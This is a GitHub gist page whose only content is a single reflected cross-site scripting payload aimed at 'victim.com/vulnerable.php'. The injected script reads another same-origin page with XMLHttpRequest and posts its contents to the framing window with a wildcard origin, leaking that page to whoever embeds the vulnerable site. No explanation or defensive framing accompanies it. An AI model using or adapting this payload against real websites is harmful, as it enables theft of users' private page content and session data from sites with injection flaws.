Skip to content

Instantly share code, notes, and snippets.

@ancat
Created June 3, 2012 05:15
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ancat/2862020 to your computer and use it in GitHub Desktop.
Save ancat/2862020 to your computer and use it in GitHub Desktop.
http://victim.com/vulnerable.php?string=<script>window.top.postMessage(function() {var x=new XMLHttpRequest();x.open('GET','/other/page.html',false);x.send();return x.responseText}(), '*')</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment